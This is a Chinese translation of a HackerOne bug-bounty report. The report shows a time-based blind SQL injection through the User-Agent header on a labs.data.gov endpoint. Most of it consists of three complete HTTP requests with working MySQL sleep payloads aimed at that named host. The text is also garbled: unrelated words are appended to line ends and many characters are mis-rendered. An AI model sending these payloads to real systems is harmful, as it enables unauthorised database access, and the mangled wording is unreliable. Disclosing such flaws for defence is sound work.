声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。数据库
文章来源:https://hackerone.com/reports/297478json
我发现了一个SQL注入漏洞 /dashboard/datagov/csv_to_json
,能够经过User-Agent HTTP请求头利用它。安全
我没有从数据库中提取任何数据,我已经使用具备算术运算的sleep SQL查询确认了漏洞。sleep 命令与算术运算结果将致使服务器响应不一样的延迟时间。服务器
例如,将该值设置 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
到User-Agent
头部将致使服务器延迟25(5×5)秒。学习
要重现,请发送如下HTTPS请求:spa
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
服务器将在25(5 * 5)秒后响应- 与User-Agent:请求头
的值相同。翻译
如今,让咱们让服务器当即响应。咱们将发送等于0的值sleep(5 * 5 * 0)。code
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
服务器当即响应为5 * 5 * 0 = 0。blog
让咱们用另外一个请求确认:ip
GET /dashboard/datagov/csv_to_json HTTP/1.1 Referer: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR' X-Forwarded-For: 1 X-Requested-With: XMLHttpRequest Host: labs.data.gov Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*
此次有效载荷包含6 * 6-30,等于6。服务器在6秒后响应。
这些只是我尝试确认此问题的各类算术运算的一些SQL查询。
攻击者能够操纵发送到MySQL数据库的SQL语句并注入恶意SQL语句。攻击者可以更改针对数据库执行的SQL语句的逻辑。